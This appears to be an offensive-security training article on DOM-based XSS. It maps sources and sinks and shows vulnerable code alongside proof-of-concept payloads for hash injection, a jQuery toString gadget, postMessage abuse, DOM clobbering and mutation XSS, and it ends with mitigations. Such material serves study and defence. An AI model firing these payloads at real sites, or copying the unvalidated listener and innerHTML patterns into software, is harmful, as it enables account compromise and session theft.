Quick answer
DOM XSS happens when attacker-controlled data (location.hash, postMessage data, URL params) reaches dangerous sinks without sanitization (innerHTML, eval, document.write, location.href). In 2025-2026 the most profitable vectors are gadgets in popular libraries (lodash, jQuery, internal helpers), postMessage handlers that don't validate origin, and broken client-side routing that puts user input into eval.
Sources and sinks (refresher)
Sources — where the attacker gets in:
location.href, location.hash, location.search, location.pathname
document.URL, document.documentURI
document.referrer
document.cookie
window.name
postMessage e.data
localStorage / sessionStorage (if populated by another origin via a prior XSS)
WebSockets messages
Sinks — where it executes:
// HTML rendering
element.innerHTML = userInput
element.outerHTML = userInput
document.write(userInput)
document.writeln(userInput)
// Code execution
eval(userInput)
Function(userInput)
setTimeout(userInput, 100)
setInterval(userInput, 100)
// URL navigation (XSS via javascript:)
location.href = userInput
location.assign(userInput)
location.replace(userInput)
window.open(userInput)
// Attribute setting (depending on element)
element.setAttribute('href', userInput)
element.src = userInput
Classic DOM XSS
// Source: location.hash
const param = location.hash.substring(1);
// Sink: innerHTML
document.getElementById('content').innerHTML = param;
Payload: https://target.tld/page#<img src=x onerror=alert(1)>.
Modern gadget chains
Sometimes the flow isn't direct. The input passes through codebase functions that transform but don't sanitize:
const data = JSON.parse(decodeURIComponent(location.hash.substring(1)));
const html = renderTemplate(data); // the template uses data.title without escaping
contentEl.innerHTML = html;
The payload needs to be valid JSON + have title with HTML.
CVE-2025-59840 — toString gadget in jQuery (conceptual example)
Some libs apply String(input) or input.toString() without escaping. If input is an object with a custom toString:
const payload = {
toString() { return "<img src=x onerror=alert(1)>"; }
};
$('#div').html(payload); // jQuery does String(payload) → invokes toString → XSS
Useful when the sink validates the string type but accepts anything stringifiable.
postMessage XSS
When a listener processes e.data without validating e.origin:
window.addEventListener('message', e => {
// ❌ does NOT validate e.origin
document.getElementById(e.data.target).innerHTML = e.data.html;
});
Attacker PoC:
// Attacker page
const win = window.open('https://target.tld/');
setTimeout(() => {
win.postMessage({
target: 'main-content',
html: '<img src=x onerror=alert(document.domain)>'
}, '*');
}, 2000);
Variant: if the target only accepts postMessage from the same origin but there's a legitimate iframe (CDN, embed), the attacker puts their iframe pointing at the whitelisted CDN with controlled HTML.
See the real case "Zero-Click Message Injection via postMessage" in the Academy.
DOM Clobbering
HTML elements with id or name are accessed via window.<id> and document.<name>. If a script does:
const config = window.config || { strict: true };
And the page has an attacker-controlled <form id="config"> (e.g., via Stored HTML injection in a comment), window.config points to the form HTMLElement, not the expected object.
<form id="config" name="strict"></form>
<input name="strict"> <!-- now window.config.strict es el input element -->
Consequence: broken JS logic → bypass of checks ("if config.strict do...").
Broken hash routing
SPA apps with client-side routing. If the route handler does:
const route = location.hash.substring(1).split('/');
const handler = routes[route[0]];
handler(route[1]); // route[1] es atacante-controlled
If some handler puts route[1] into innerHTML, eval or document.write → XSS.
Frequent pattern: paths that accept parameters used in verbose error strings:
/profile/<user_id> → document.title = "Profile of " + userId
→ If userId has HTML and the title is rendered in some DOM, XSS
Mutation XSS (mXSS)
The browser's HTML parser mutates the HTML when inserting it. If sanitization happens before insertion and the browser mutates the HTML on insertion, the result can be an XSS.
const sanitized = DOMPurify.sanitize(input); // clean input
element.innerHTML = sanitized;
// But when inserting it in a noscript/style/template context, the browser parses differently
Frequent vectors: SVG with namespace mishandling, MathML, comments with special characters. See the dedicated Mutation XSS article.
Tooling
Burp DOM Invader
Built-in in Burp Pro. Injects a canary into DOM sources and traces it to sinks. Detects gadget chains automatically.
Static analysis
For the JS bundle:
# Buscar sinks peligrosos en código minificado
curl https://target.tld/main.abc123.js | grep -E '(innerHTML|outerHTML|document\.write|eval\(|Function\()' -n
Manual code review of the bundle reveals patterns specific to the codebase.
Dynamic testing
// Inject a canary into each source and verify
location.hash = 'CANARY_HASH';
window.name = 'CANARY_NAME';
document.cookie = 'test=CANARY_COOKIE';
postMessage('CANARY_PM', '*');
// Search for CANARY in innerHTML, eval, etc.
Hunting checklist
- Is the app an SPA with client-side routing? Try payloads in each path segment.
- Is there a
location.hashparsed and used in innerHTML/eval? - postMessage listeners without an
e.origincheck? - Is Window.name accessible cross-frame and used internally?
- Is
document.cookieparsed and reflected in the DOM? - Static review of the bundle looking for innerHTML, eval, document.write?
- Are there client-side templates (Handlebars, Mustache, Lodash) with unescaped input?
- Does
postMessageusetargetOrigin: "*"from the iframe? - Console errors that reveal the state structure (potential gadgets)?
Correct mitigation
- Treat all sources as user input. Always sanitize before the sink.
- Validate
e.originin every postMessage handler. Explicit allowlist. - Use
textContentnotinnerHTMLunless you need HTML. - Correct DOMPurify (not custom lists of allowed tags without understanding mXSS).
- Strict CSP:
script-src 'self',script-src-elem,script-src-attrto block inline. - Trusted Types API in modern browsers — forces typed sanitization.
Related labs
Practice gadget chains, postMessage XSS, DOM clobbering and mXSS in real apps: DOM XSS labs.
Practice this in a lab
Dom Xss
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
postMessage — common vulnerabilities: origin bypass, XSS sink, cross-window IDOR
How to identify and exploit vulnerabilities in window.postMessage(): listeners without origin validation, insecure JSON payloads that reach DOM XSS, cross-origin IDOR.
DOM XSS — sources, sinks and gadgets to chain filter bypasses
A complete map of sources (location, postMessage, document.referrer, localStorage) and sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets to build undetectable payloads.
Client-side admin bypass — boolean manipulation + BAC in a modern SPA
Real Quora report: SPA with an isAdmin boolean in localStorage that controls the UI + a backend that doesn't validate server-side. How to chain a boolean flip with BAC for admin takeover.